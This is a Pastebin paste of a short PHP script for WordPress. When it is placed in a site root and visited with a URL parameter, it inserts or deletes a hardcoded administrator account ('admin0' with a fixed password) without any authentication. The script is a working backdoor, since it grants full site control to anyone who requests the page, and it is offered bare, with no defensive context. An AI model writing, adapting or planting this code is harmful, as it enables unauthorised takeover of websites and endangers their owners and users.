Advertisement
Guest User

Untitled

a guest
Sep 20th, 2017
419
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.47 KB | None | 0 0
  1. <?php
  2. /*
  3.     Add admin user to the wordpress database.
  4.  
  5.     How to Use:
  6.         For create a user:  site.com/wp-user.php?a=c
  7.         For delete a user:  site.com/wp-user.php?a=d
  8. */
  9.  
  10. require_once('wp-config.php');
  11. $opt = isset($_GET['a']) ? strip_tags($_GET['a']) : 'none';
  12.  
  13. $user_name = "admin0";
  14. $pass = "admin0123";
  15.  
  16. $user = $wpdb->get_row("SELECT * FROM " . $wpdb->users . " WHERE user_login='" . $user_name . "'");
  17. $user_id = $user->ID;
  18. $tblprefix = $wpdb->prefix;
  19.  
  20. if ($opt == "c")
  21. {  
  22.     if (!$user_id) {
  23.         $password = wp_hash_password($pass);
  24.        
  25.         $data_user = array(
  26.             'user_login' => $user_name,
  27.             'user_status' => 0,
  28.             'user_pass' => $password           
  29.         );         
  30.         $wpdb->insert($wpdb->users, $data_user);
  31.         $user_id = $wpdb->insert_id;
  32.        
  33.         $data_usermeta = array(
  34.             'user_id' => $user_id,
  35.             'meta_key' => 'wp_capabilities',
  36.             'meta_value' => "a:1:{s:13:\"administrator\";b:1;}"
  37.         );       
  38.         $wpdb->insert($wpdb->usermeta, $data_usermeta);
  39.        
  40.         $data_usermeta = array(
  41.             'user_id' => $user_id,
  42.             'meta_key' => 'wp_user_level',
  43.             'meta_value' => '10'
  44.         );
  45.         $wpdb->insert($wpdb->usermeta, $data_usermeta);
  46.        
  47.         echo "User created!!";
  48.     } else {
  49.         $random_password = __('User already exists.  Password inherited.');
  50.     }  
  51. } else if($opt == "d")
  52. {
  53.     $wpdb->query("DELETE FROM " . $wpdb->users . " WHERE ID=" . $user_id);
  54.     $wpdb->query("DELETE FROM " . $wpdb->usermeta . " WHERE ID=" . $user_id);
  55.     echo "User deleted!";
  56. }
  57. else
  58. {
  59.     echo "Nothing here!!\n";   
  60. }
  61.  
  62. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement